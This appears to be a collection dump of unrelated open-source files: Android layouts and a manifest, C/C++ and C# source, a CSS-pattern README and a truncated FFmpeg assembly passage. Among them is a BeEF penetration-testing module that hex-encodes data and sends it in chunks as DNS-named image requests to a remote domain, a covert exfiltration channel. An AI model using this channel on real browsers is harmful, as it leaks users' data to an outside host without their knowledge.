# # Copyright © 2012 - 2020 Michal Čihař <[email protected]> # # This file is part of Weblate <https://weblate.org/> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. #
{ "pile_set_name": "Github" }
#ifndef BOOST_SMART_PTR_MAKE_SHARED_HPP_INCLUDED #define BOOST_SMART_PTR_MAKE_SHARED_HPP_INCLUDED // make_shared.hpp // // Copyright (c) 2007, 2008, 2012 Peter Dimov // // Distributed under the Boost Software License, Version 1.0. // See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt // // See http://www.boost.org/libs/smart_ptr/make_shared.html // for documentation. #include <boost/smart_ptr/make_shared_object.hpp> #if !defined( BOOST_NO_TEMPLATE_PARTIAL_SPECIALIZATION ) && !defined( BOOST_NO_SFINAE ) # include <boost/smart_ptr/make_shared_array.hpp> # include <boost/smart_ptr/allocate_shared_array.hpp> #endif #endif // #ifndef BOOST_SMART_PTR_MAKE_SHARED_HPP_INCLUDED
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:background="@android:color/black"> <RelativeLayout android:id="@+id/surface_container" android:layout_width="match_parent" android:layout_height="match_parent" android:gravity="center"> </RelativeLayout> <RelativeLayout android:id="@+id/thumb" android:layout_width="match_parent" android:layout_height="match_parent" android:layout_alignParentStart="true" android:layout_alignParentLeft="true" android:layout_alignParentTop="true" android:layout_alignParentEnd="true" android:layout_alignParentRight="true" android:layout_alignParentBottom="true" android:background="#000000" android:scaleType="fitCenter"> <ImageView android:id="@+id/thumbImage" android:layout_width="match_parent" android:layout_height="match_parent" android:scaleType="centerCrop" /> </RelativeLayout> <RelativeLayout android:id="@+id/thumb2" android:layout_width="match_parent" android:layout_height="match_parent" android:layout_alignParentStart="true" android:layout_alignParentLeft="true" android:layout_alignParentTop="true" android:layout_alignParentEnd="true" android:layout_alignParentRight="true" android:layout_alignParentBottom="true" android:animateLayoutChanges="true" android:scaleType="fitCenter"> <ImageView android:id="@+id/thumbImage2" android:layout_width="match_parent" android:layout_height="match_parent" android:scaleType="centerCrop" /> </RelativeLayout> <LinearLayout android:id="@+id/layout_bottom" android:layout_width="match_parent" android:layout_height="40dp" android:layout_alignParentBottom="true" android:background="#99000000" android:gravity="center_vertical" android:orientation="horizontal" android:visibility="invisible"> <TextView android:id="@+id/current" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginLeft="16dp" android:text="00:00" android:textColor="#ffffff" /> <SeekBar android:id="@+id/progress" android:layout_width="0dp" android:layout_height="wrap_content" android:layout_gravity="center_vertical" android:layout_weight="1.0" android:background="@null" android:max="100" android:maxHeight="4dp" android:minHeight="4dp" android:paddingTop="8dp" android:paddingBottom="8dp" android:progressDrawable="@drawable/video_seek_progress" android:thumb="@drawable/video_seek_thumb" /> <TextView android:id="@+id/total" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginRight="16dp" android:text="00:00" android:textColor="#ffffff" /> <ImageView android:id="@+id/fullscreen" android:layout_width="wrap_content" android:layout_height="fill_parent" android:paddingRight="16dp" android:scaleType="center" android:src="@drawable/video_enlarge" /> </LinearLayout> <ProgressBar android:id="@+id/bottom_progressbar" style="?android:attr/progressBarStyleHorizontal" android:layout_width="match_parent" android:layout_height="1.5dp" android:layout_alignParentBottom="true" android:max="100" android:progressDrawable="@drawable/video_progress" /> <ImageView android:id="@+id/back_tiny" android:layout_width="24dp" android:layout_height="24dp" android:layout_marginLeft="6dp" android:layout_marginTop="6dp" android:visibility="gone" /> <LinearLayout android:id="@+id/layout_top" android:layout_width="match_parent" android:layout_height="48dp" android:background="@drawable/video_title_bg" android:gravity="center_vertical"> <ImageView android:id="@+id/back" android:layout_width="48dp" android:layout_height="48dp" android:paddingLeft="10dp" android:scaleType="centerInside" android:src="@drawable/video_back" /> <TextView android:id="@+id/title" android:layout_width="wrap_content" android:layout_height="wrap_content" android:paddingLeft="10dp" android:textColor="@android:color/white" android:textSize="18sp" /> </LinearLayout> <moe.codeest.enviews.ENDownloadView android:id="@+id/loading" android:layout_width="28dp" android:layout_height="28dp" android:layout_centerHorizontal="true" android:layout_centerVertical="true" android:visibility="invisible" /> <moe.codeest.enviews.ENPlayView android:id="@+id/start" android:layout_width="@dimen/DIMEN_40DP" android:layout_height="@dimen/DIMEN_40DP" android:layout_centerHorizontal="true" android:layout_centerVertical="true" android:layout_gravity="center_vertical" /> <ImageView android:id="@+id/small_close" android:layout_width="30dp" android:layout_height="30dp" android:paddingLeft="10dp" android:paddingTop="10dp" android:scaleType="centerInside" android:src="@drawable/video_small_close" android:visibility="gone" /> <ImageView android:id="@+id/lock_screen" android:layout_width="30dp" android:layout_height="30dp" android:layout_alignParentRight="true" android:layout_centerVertical="true" android:layout_marginRight="50dp" android:scaleType="centerInside" android:src="@drawable/unlock" android:visibility="gone" /> </RelativeLayout>
{ "pile_set_name": "Github" }
// // Copyright (c) 2006-2020 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // /** * * request object structure: * + msgId: {Integer} Unique message ID for the request. * + domain: {String} Remote domain to retrieve the data. * + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED * + callback: {Function} Callback function to receive the number of requests sent. * @namespace beef.net.dns */ beef.net.dns = { handler: "dns", /** * * @param msgId * @param data * @param domain * @param callback */ send: function(msgId, data, domain, callback) { var encode_data = function(str) { var result=""; for(i=0;i<str.length;++i) { result+=str.charCodeAt(i).toString(16).toUpperCase(); } return result; }; var encodedData = encodeURI(encode_data(data)); beef.debug(encodedData); beef.debug("_encodedData_ length: " + encodedData.length); // limitations to DNS according to RFC 1035: // o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters // o Domain names are limited to 255 characters in length (including dots) // o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains) // o Subdomains are limited to 63 characters in length (including the trailing dot) // DNS request structure: // COMMAND_ID.SEQ_NUM.SEQ_TOT.DATA.DOMAIN //max_length: 3. 3 . 3 . 63 . x // only max_data_segment_length is currently used to split data into chunks. and only 1 chunk is used per request. // for optimal performance, use the following vars and use the whole available space (which needs changes server-side too) var reserved_seq_length = 3 + 3 + 3 + 3; // consider also 3 dots var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers var max_data_segment_length = 63; // by RFC beef.debug("max_data_segment_length: " + max_data_segment_length); var dom = document.createElement('b'); String.prototype.chunk = function(n) { if (typeof n=='undefined') n=100; return this.match(RegExp('.{1,'+n+'}','g')); }; var sendQuery = function(query) { var img = new Image; //img.src = "http://"+query; img.src = beef.net.httpproto + "://" + query; // prevents issues with mixed content img.onload = function() { dom.removeChild(this); } img.onerror = function() { dom.removeChild(this); } dom.appendChild(img); //experimental //setTimeout(function(){dom.removeChild(img)},1000); }; var segments = encodedData.chunk(max_data_segment_length); var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request beef.debug(segments.length); for (var seq=1; seq<=segments.length; seq++) { sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain); } // callback - returns the number of queries sent if (!!callback) callback(segments.length); } }; beef.regCmp('beef.net.dns');
{ "pile_set_name": "Github" }
/* * import-cmd.c -- Import a file or tree into the repository. * * ==================================================================== * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * ==================================================================== */ /* ==================================================================== */ /*** Includes. ***/ #include "svn_client.h" #include "svn_path.h" #include "svn_error.h" #include "cl.h" #include "svn_private_config.h" /*** Code. ***/ /* This implements the `svn_opt_subcommand_t' interface. */ svn_error_t * svn_cl__import(apr_getopt_t *os, void *baton, apr_pool_t *pool) { svn_cl__opt_state_t *opt_state = ((svn_cl__cmd_baton_t *) baton)->opt_state; svn_client_ctx_t *ctx = ((svn_cl__cmd_baton_t *) baton)->ctx; apr_array_header_t *targets; const char *path; const char *url; /* Import takes two arguments, for example * * $ svn import projects/test file:///home/jrandom/repos/trunk * ^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ * (source) (repository) * * or * * $ svn import file:///home/jrandom/repos/some/subdir * * What is the nicest behavior for import, from the user's point of * view? This is a subtle question. Seemingly intuitive answers * can lead to weird situations, such never being able to create * non-directories in the top-level of the repository. * * If 'source' is a file then the basename of 'url' is used as the * filename in the repository. If 'source' is a directory then the * import happens directly in the repository target dir, creating * however many new entries are necessary. If some part of 'url' * does not exist in the repository then parent directories are created * as necessary. * * In the case where no 'source' is given '.' (the current directory) * is implied. * * ### kff todo: review above behaviors. */ SVN_ERR(svn_cl__args_to_target_array_print_reserved(&targets, os, opt_state->targets, ctx, FALSE, pool)); if (targets->nelts < 1) return svn_error_create (SVN_ERR_CL_INSUFFICIENT_ARGS, NULL, _("Repository URL required when importing")); else if (targets->nelts > 2) return svn_error_create (SVN_ERR_CL_ARG_PARSING_ERROR, NULL, _("Too many arguments to import command")); else if (targets->nelts == 1) { url = APR_ARRAY_IDX(targets, 0, const char *); path = ""; } else { path = APR_ARRAY_IDX(targets, 0, const char *); url = APR_ARRAY_IDX(targets, 1, const char *); } SVN_ERR(svn_cl__check_target_is_local_path(path)); if (! svn_path_is_url(url)) return svn_error_createf(SVN_ERR_CL_ARG_PARSING_ERROR, NULL, _("Invalid URL '%s'"), url); if (opt_state->depth == svn_depth_unknown) opt_state->depth = svn_depth_infinity; SVN_ERR(svn_cl__make_log_msg_baton(&(ctx->log_msg_baton3), opt_state, NULL, ctx->config, pool)); SVN_ERR(svn_cl__cleanup_log_msg (ctx->log_msg_baton3, svn_client_import5(path, url, opt_state->depth, opt_state->no_ignore, opt_state->no_autoprops, opt_state->force, opt_state->revprop_table, NULL, NULL, /* filter callback / baton */ (opt_state->quiet ? NULL : svn_cl__print_commit_info), NULL, ctx, pool), pool)); return SVN_NO_ERROR; }
{ "pile_set_name": "Github" }
using System.Linq; using System.Linq.Expressions; using System.Text; using Dapper; using Kogel.Dapper.Extension.Model; using Kogel.Dapper.Extension.Core.Interfaces; using Kogel.Dapper.Extension; using Kogel.Dapper.Extension.Extension; using System; namespace Kogel.Dapper.Extension.Expressions { public sealed class UpdateExpression : BaseExpressionVisitor { #region sql指令 private readonly StringBuilder _sqlCmd; /// <summary> /// sql指令 /// </summary> public string SqlCmd => _sqlCmd.ToString(); public new DynamicParameters Param; #endregion /// <inheritdoc /> /// <summary> /// 执行解析 /// </summary> /// <param name="expression"></param> /// <returns></returns> public UpdateExpression(LambdaExpression expression, SqlProvider provider) : base(provider) { this._sqlCmd = new StringBuilder(100); this.Param = new DynamicParameters(); //update不需要重命名 providerOption.IsAsName = false; if (expression.Body is MemberInitExpression) { var memberInitExpression = expression.Body as MemberInitExpression; foreach (MemberAssignment memberInit in memberInitExpression.Bindings) { base.SpliceField.Clear(); base.Param = new DynamicParameters(); if (_sqlCmd.Length != 0) _sqlCmd.Append(","); //实体类型 Type entityType; //验证是实体类或者是泛型 if (ExpressionExtension.IsAnyBaseEntity(memberInit.Expression.Type, out entityType)) { //throw new DapperExtensionException("更新操作不支持导航属性写入"); Console.WriteLine("警告:更新操作不支持导航属性写入!"); } else { //值对象 Visit(memberInit.Expression); _sqlCmd.Append($" {provider.ProviderOption.CombineFieldName(memberInit.Member.Name)} = {base.SpliceField} "); Param.AddDynamicParams(base.Param); } base.Index++; } } else//匿名类 { throw new DapperExtensionException("更新操作不支持匿名类写入"); } _sqlCmd.Insert(0, " SET "); } } }
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="refresh" content="0;URL=../../../../../libc/struct.glob64_t.html"> </head> <body> <p>Redirecting to <a href="../../../../../libc/struct.glob64_t.html">../../../../../libc/struct.glob64_t.html</a>...</p> <script>location.replace("../../../../../libc/struct.glob64_t.html" + location.search + location.hash);</script> </body> </html>
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" package="org.yczbj.ycvideoplayer"> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> <application android:name=".BaseApplication" android:allowBackup="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/AppTheme" tools:ignore="GoogleAppIndexingWarning"> <activity android:name=".MainActivity" android:configChanges="orientation|keyboardHidden|screenSize" android:screenOrientation="portrait"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <!--用于AppLink,html跳到此页面 scheme_Adr: 'yilu://link/?page=main',--> <activity android:name=".SchemeActivity" android:screenOrientation="portrait"> <!--Android 接收外部跳转过滤器--> <intent-filter android:autoVerify="true"> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="http"/> <data android:scheme="https"/> <data android:host="yc.com"/> </intent-filter> <intent-filter > <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <!-- 协议部分配置 ,要在web配置相同的--> <!--yilu://link/?page=main--> <data android:host="link" android:scheme="yilu" /> </intent-filter> <intent-filter > <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <!-- 协议部分配置 ,要在web配置相同的--> <!--yilu://www.yc.com/?page=main--> <data android:host="www.yc.com" android:scheme="yilu" /> </intent-filter> </activity> <activity android:name=".TestTinyActivity" android:configChanges="orientation|keyboardHidden|screenSize" android:screenOrientation="portrait"/> <activity android:name=".TestClarityActivity" android:configChanges="orientation|keyboardHidden|screenSize" android:screenOrientation="portrait"/> <activity android:name=".TestRecyclerActivity" android:configChanges="orientation|keyboardHidden|screenSize" android:screenOrientation="portrait"/> <activity android:name=".TestFragmentActivity" android:configChanges="orientation|keyboardHidden|screenSize" android:screenOrientation="portrait"/> <activity android:name=".TestEightVideoActivity" android:configChanges="orientation|keyboardHidden|screenSize" android:screenOrientation="portrait"/> <activity android:name=".TestListActivity" android:configChanges="orientation|keyboardHidden|screenSize" android:screenOrientation="portrait"/> <activity android:name=".TestWindowActivity" android:configChanges="orientation|keyboardHidden|screenSize" android:screenOrientation="portrait"/> <activity android:name=".TestNormalActivity" android:configChanges="orientation|keyboardHidden|screenSize" android:screenOrientation="portrait"/> <activity android:name=".TestFullActivity" android:configChanges="orientation|keyboardHidden|screenSize" android:screenOrientation="portrait"/> <activity android:name=".TestSavePosActivity" android:configChanges="orientation|keyboardHidden|screenSize" android:screenOrientation="portrait"/> <activity android:name=".TestSurfaceActivity" android:configChanges="orientation|keyboardHidden|screenSize" android:screenOrientation="portrait"/> </application> </manifest>
{ "pile_set_name": "Github" }
Django>=1.5.0,<=1.5.9 django-celery==3.0.21 django-compressor==1.3 Fabric==1.6.1 South==0.8.1 Sphinx==1.1.3
{ "pile_set_name": "Github" }
PatternBolt =========== Patternbolt is a fine selection of SVG pattern background, packed in a single or SCSS (or CSS ) file.<br> The pattern is added in a "after" element and your original element still be inalterate and ready for manipulations. As they are vectors they never pixelate, not even on 4k screens. The pattern selection still be under development, to see the showcase, visit the <a href="http://buseca.github.io/patternbolt/">demo page</a> ##Contributions Contributions and pull requests are always welcome.<br> If you are a **Designer** you can vote and submit new patterns joining the public <a href="https://trello.com/b/qlC1dtZa/patternbolt-new-patterns-proposals" target="_blank">Trello Board</a>. Contact me by twitter or email to request to be added as member of the board. ##SCSS version The Scss version is the main one, it's the more advanced one and its pattern library is always up-to-date.<br> To use it you can follow the instruction commented directly in the Scss file.<br> Basically you can call the whole Patternbolt Scss file in your project with an @import or just copy all its lines into your main Scss file. To insert a pattern use the related mixin, as in the examples below. ### Sass variables {String} $pattern - pattern name, it's also the name of the class {Number} $background-size [200px] - width/height of pattern {Color} $background-color [#000] - hex value of background color {Color} $foreground-color [#fff] - hex value of foreground color (the SVG) {Number} $opacity [1] - opacity, from 0 to 1 {String} $mask [none] - value 'mask' if the pattern has to be used as covering mask over an image ### Sass Mixin **basic scss mixin** @mixin pb($pattern){} **example** .item { @include pb('buseca-a'); } **the css output** .item { position: relative; z-index: 1; &::after { box-sizing: border-box; position: absolute; top: 0; left: 0; bottom: 0; right: 0; overflow: hidden; background-image: url("data:image/svg+xml,%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20xmlns%3Axlink%3D%22http%3A//www.w3.org/1999/xlink%22%20x%3D%220px%22%20y%3D%220px%22%0A%09%20width%3D%2240px%22%20height%3D%2240px%22%20viewBox%3D%2255%2055%2040%2040%22%20enable-background%3D%22new%2055%2055%2040%2040%22%20xml%3Aspace%3D%22preserve%22%20fill%3D%22rgba(255,255,255,1)%22%3E%0A%3Cpath%20d%3D%22M55%2C55h40v40H55V55z%20M95%2C86.987v-3.99l-1.997%2C1.997L95%2C86.987z%20M63%2C63l6.003-6.006L67.006%2C55h-3.994%0A%09l1.991%2C1.994L63%2C59l-4-4h-3.997L63%2C63z%20M87.013%2C55L95%2C62.987V59l-4-4H87.013z%20M75%2C55L55%2C75v3.997L78.997%2C55H75z%20M57.003%2C64.994%0A%09L55%2C66.997V71l6.003-6.006L55%2C58.997v3.997L57.003%2C64.994z%20M78.997%2C95l2.006-2.006L75%2C87l-4%2C4l-2-2.003l0.003-0.003l4-4l-4-3.994%0A%09L71%2C79l16.006%2C16H91L71%2C75l-5.997%2C6l4%2C3.994l-2%2C2L65%2C84.997l0.003-0.003L63%2C83l-2%2C1.987l0.003%2C0.007l-2%2C2.003l-2-1.997l-1.753%2C1.75%0A%09L83.003%2C59l2%2C2.003l-4%2C3.997l3.991%2C4.003L83%2C71l-4-4l-1.997%2C1.994l-4%2C4L95%2C94.987v-3.99L77.003%2C72.994l2-1.997L83%2C75l3.994-3.994%0A%09L87%2C71.016l0.013-0.009l1.99%2C1.987L86.997%2C75l-1.994%2C1.994L87%2C79l0.003-0.003L91%2C83l4-4v-4l-4%2C4l-2.003-2l4.006-4.006l-3.99-3.987%0A%09L91%2C67.031l4%2C4.031v-4.056l-4-3.975L87%2C67l-1.997-2.006l4-4L83%2C55L55%2C82.997V87l1.997%2C2L59%2C91l4.003-4.003l1.997%2C2l-3.997%2C3.997%0A%09L63%2C95l0.003-0.003L63.006%2C95H67l-2.003-1.997l2-2.003L71%2C95l4-4l2.003%2C1.994L75%2C95H78.997z%20M55%2C91v4h4.006L55%2C91z%22/%3E%0A%3C/svg%3E"); background-size: 200px; background-color: rgba(0,0,0,1); content: ''; z-index: -1; transition: background-image 0.1s ease-in-out; } } **advanced scss mixin** @mixin pb($pattern, $background-size, $background-color, $foreground-color, $opacity, $mask){} **example** .item { @include pb('buseca-a', 25px, #f00, #0f0, 0.5, 'mask'); } **the css output** .item { position: relative; z-index: 1; &::after { box-sizing: border-box; position: absolute; top: 0; left: 0; bottom: 0; right: 0; overflow: hidden; background-image: url("data:image/svg+xml,%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20xmlns%3Axlink%3D%22http%3A//www.w3.org/1999/xlink%22%20x%3D%220px%22%20y%3D%220px%22%0A%09%20width%3D%2240px%22%20height%3D%2240px%22%20viewBox%3D%2255%2055%2040%2040%22%20enable-background%3D%22new%2055%2055%2040%2040%22%20xml%3Aspace%3D%22preserve%22%20fill%3D%22rgba(0,255,0,0.5)%22%3E%0A%3Cpath%20d%3D%22M55%2C55h40v40H55V55z%20M95%2C86.987v-3.99l-1.997%2C1.997L95%2C86.987z%20M63%2C63l6.003-6.006L67.006%2C55h-3.994%0A%09l1.991%2C1.994L63%2C59l-4-4h-3.997L63%2C63z%20M87.013%2C55L95%2C62.987V59l-4-4H87.013z%20M75%2C55L55%2C75v3.997L78.997%2C55H75z%20M57.003%2C64.994%0A%09L55%2C66.997V71l6.003-6.006L55%2C58.997v3.997L57.003%2C64.994z%20M78.997%2C95l2.006-2.006L75%2C87l-4%2C4l-2-2.003l0.003-0.003l4-4l-4-3.994%0A%09L71%2C79l16.006%2C16H91L71%2C75l-5.997%2C6l4%2C3.994l-2%2C2L65%2C84.997l0.003-0.003L63%2C83l-2%2C1.987l0.003%2C0.007l-2%2C2.003l-2-1.997l-1.753%2C1.75%0A%09L83.003%2C59l2%2C2.003l-4%2C3.997l3.991%2C4.003L83%2C71l-4-4l-1.997%2C1.994l-4%2C4L95%2C94.987v-3.99L77.003%2C72.994l2-1.997L83%2C75l3.994-3.994%0A%09L87%2C71.016l0.013-0.009l1.99%2C1.987L86.997%2C75l-1.994%2C1.994L87%2C79l0.003-0.003L91%2C83l4-4v-4l-4%2C4l-2.003-2l4.006-4.006l-3.99-3.987%0A%09L91%2C67.031l4%2C4.031v-4.056l-4-3.975L87%2C67l-1.997-2.006l4-4L83%2C55L55%2C82.997V87l1.997%2C2L59%2C91l4.003-4.003l1.997%2C2l-3.997%2C3.997%0A%09L63%2C95l0.003-0.003L63.006%2C95H67l-2.003-1.997l2-2.003L71%2C95l4-4l2.003%2C1.994L75%2C95H78.997z%20M55%2C91v4h4.006L55%2C91z%22/%3E%0A%3C/svg%3E"); background-size: 25px; background-color: rgba(255,0,0,0.5); content: ''; opacity: 0.2; z-index: 0; transition: background-image 0.1s ease-in-out; } } ##CSS version Just include it in your project whith this: <link rel="stylesheet" href="css/patternbolt.css" /> and add the right pattern class to your elements in the DOM. You can also change pattern color and the pattern size changing the background css property, check the <a href="http://buseca.github.io/patternbolt/">demo page</a> to see how to do it.<br> Here come the list of CSS pattern classes in the library: .buseca-a .feather .lines-a .lines-b .lines-c .lines-45-a .lines-45-b .lines-45-c .cross-a .cross-b .cross-c .cross-thin-a .cross-thin-b .cross-thin-c .candy-a .candy-b ##More info You can check the demo page at http://buseca.github.io/patternbolt/<br> You can find me on twitter: **<a href="https://twitter.com/ruggeromotta">@ruggeromotta</a>**
{ "pile_set_name": "Github" }
/* * Copyright (c) 2014 - 2015 Seppo Tomperi <[email protected]> * * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * FFmpeg is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with FFmpeg; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include "libavutil/arm/asm.S" #include "neon.S" #define MAX_PB_SIZE #64 .macro regshuffle_d8 vmov d16, d17 vmov d17, d18 vmov d18, d19 vmov d19, d20 vmov d20, d21 vmov d21, d22 vmov d22, d23 .endm .macro regshuffle_q8 vmov q0, q1 vmov q1, q2 vmov q2, q3 vmov q3, q4 vmov q4, q5 vmov q5, q6 vmov q6, q7 .endm .macro vextin8 pld [r2] vld1.8 {q11}, [r2], r3 vext.8 d16, d22, d23, #1 vext.8 d17, d22, d23, #2 vext.8 d18, d22, d23, #3 vext.8 d19, d22, d23, #4 vext.8 d20, d22, d23, #5 vext.8 d21, d22, d23, #6 vext.8 d22, d22, d23, #7 .endm .macro loadin8 pld [r2] vld1.8 {d16}, [r2], r3 pld [r2] vld1.8 {d17}, [r2], r3 pld [r2] vld1.8 {d18}, [r2], r3 pld [r2] vld1.8 {d19}, [r2], r3 pld [r2] vld1.8 {d20}, [r2], r3 pld [r2] vld1.8 {d21}, [r2], r3 pld [r2] vld1.8 {d22}, [r2], r3 pld [r2] vld1.8 {d23}, [r2], r3 .endm .macro qpel_filter_1_32b vmov.i16 d16, #58 vmov.i16 d17, #10 vmull.s16 q9, d6, d16 // 58 * d0 vmull.s16 q10, d7, d16 // 58 * d1 vmov.i16 d16, #17 vmull.s16 q11, d4, d17 // 10 * c0 vmull.s16 q12, d5, d17 // 10 * c1 vmov.i16 d17, #5 vmull.s16 q13, d8, d16 // 17 * e0 vmull.s16 q14, d9, d16 // 17 * e1 vmull.s16 q15, d10, d17 // 5 * f0 vmull.s16 q8, d11, d17 // 5 * f1 vsub.s32 q9, q11 // 58 * d0 - 10 * c0 vsub.s32 q10, q12 // 58 * d1 - 10 * c1 vshll.s16 q11, d2, #2 // 4 * b0 vshll.s16 q12, d3, #2 // 4 * b1 vadd.s32 q9, q13 // 58 * d0 - 10 * c0 + 17 * e0 vadd.s32 q10, q14 // 58 * d1 - 10 * c1 + 17 * e1 vsubl.s16 q13, d12, d0 // g0 - a0 vsubl.s16 q14, d13, d1 // g1 - a1 vadd.s32 q9, q11 // 58 * d0 - 10 * c0 + 17 * e0 + 4 * b0 vadd.s32 q10, q12 // 58 * d1 - 10 * c1 + 17 * e1 + 4 * b1 vsub.s32 q13, q15 // g0 - a0 - 5 * f0 vsub.s32 q14, q8 // g1 - a1 - 5 * f1 vadd.s32 q9, q13 // 58 * d0 - 10 * c0 + 17 * e0 + 4 * b0 + g0 - a0 - 5 * f0 vadd.s32 q10, q14 // 58 * d1 - 10 * c1 + 17 * e1 + 4 * b1 + g1 - a1 - 5 * f1 vqshrn.s32 d16, q9, #6 vqshrn.s32 d17, q10, #6 .endm // input q0 - q7 // output q8 .macro qpel_filter_2_32b vmov.i32 q8, #11 vaddl.s16 q9, d6, d8 // d0 + e0 vaddl.s16 q10, d7, d9 // d1 + e1 vaddl.s16 q11, d4, d10 // c0 + f0 vaddl.s16 q12, d5, d11 // c1 + f1 vmul.s32 q11, q8 // 11 * (c0 + f0) vmul.s32 q12, q8 // 11 * (c1 + f1) vmov.i32 q8, #40 vaddl.s16 q15, d2, d12 // b0 + g0 vmul.s32 q9, q8 // 40 * (d0 + e0) vmul.s32 q10, q8 // 40 * (d1 + e1) vaddl.s16 q8, d3, d13 // b1 + g1 vaddl.s16 q13, d0, d14 // a0 + h0 vaddl.s16 q14, d1, d15 // a1 + h1 vshl.s32 q15, #2 // 4*(b0+g0) vshl.s32 q8, #2 // 4*(b1+g1) vadd.s32 q11, q13 // 11 * (c0 + f0) + a0 + h0 vadd.s32 q12, q14 // 11 * (c1 + f1) + a1 + h1 vadd.s32 q9, q15 // 40 * (d0 + e0) + 4*(b0+g0) vadd.s32 q10, q8 // 40 * (d1 + e1) + 4*(b1+g1) vsub.s32 q9, q11 // 40 * (d0 + e0) + 4*(b0+g0) - (11 * (c0 + f0) + a0 + h0) vsub.s32 q10, q12 // 40 * (d1 + e1) + 4*(b1+g1) - (11 * (c1 + f1) + a1 + h1) vqshrn.s32 d16, q9, #6 vqshrn.s32 d17, q10, #6 .endm .macro qpel_filter_3_32b vmov.i16 d16, #58 vmov.i16 d17, #10 vmull.s16 q9, d8, d16 // 58 * d0 vmull.s16 q10, d9, d16 // 58 * d1 vmov.i16 d16, #17 vmull.s16 q11, d10, d17 // 10 * c0 vmull.s16 q12, d11, d17 // 10 * c1 vmov.i16 d17, #5 vmull.s16 q13, d6, d16 // 17 * e0 vmull.s16 q14, d7, d16 // 17 * e1 vmull.s16 q15, d4, d17 // 5 * f0 vmull.s16 q8, d5, d17 // 5 * f1 vsub.s32 q9, q11 // 58 * d0 - 10 * c0 vsub.s32 q10, q12 // 58 * d1 - 10 * c1 vshll.s16 q11, d12, #2 // 4 * b0 vshll.s16 q12, d13, #2 // 4 * b1 vadd.s32 q9, q13 // 58 * d0 - 10 * c0 + 17 * e0 vadd.s32 q10, q14 // 58 * d1 - 10 * c1 + 17 * e1 vsubl.s16 q13, d2, d14 // g0 - a0 vsubl.s16 q14, d3, d15 // g1 - a1 vadd.s32 q9, q11 // 58 * d0 - 10 * c0 + 17 * e0 + 4 * b0 vadd.s32 q10, q12 // 58 * d1 - 10 * c1 + 17 * e1 + 4 * b1 vsub.s32 q13, q15 // g0 - a0 - 5 * f0 vsub.s32 q14, q8 // g1 - a1 - 5 * f1 vadd.s32 q9, q13 // 58 * d0 - 10 * c0 + 17 * e0 + 4 * b0 + g0 - a0 - 5 * f0 vadd.s32 q10, q14 // 58 * d1 - 10 * c1 + 17 * e1 + 4 * b1 + g1 - a1 - 5 * f1 vqshrn.s32 d16, q9, #6 vqshrn.s32 d17, q10, #6 .endm .macro qpel_filter_1 out=q7 vmov.u8 d24, #58 vmov.u8 d25, #10 vshll.u8 q13, d20, #4 // 16*e vshll.u8 q14, d21, #2 // 4*f vmull.u8 \out, d19, d24 // 58*d vaddw.u8 q13, q13, d20 // 17*e vmull.u8 q15, d18, d25 // 10*c 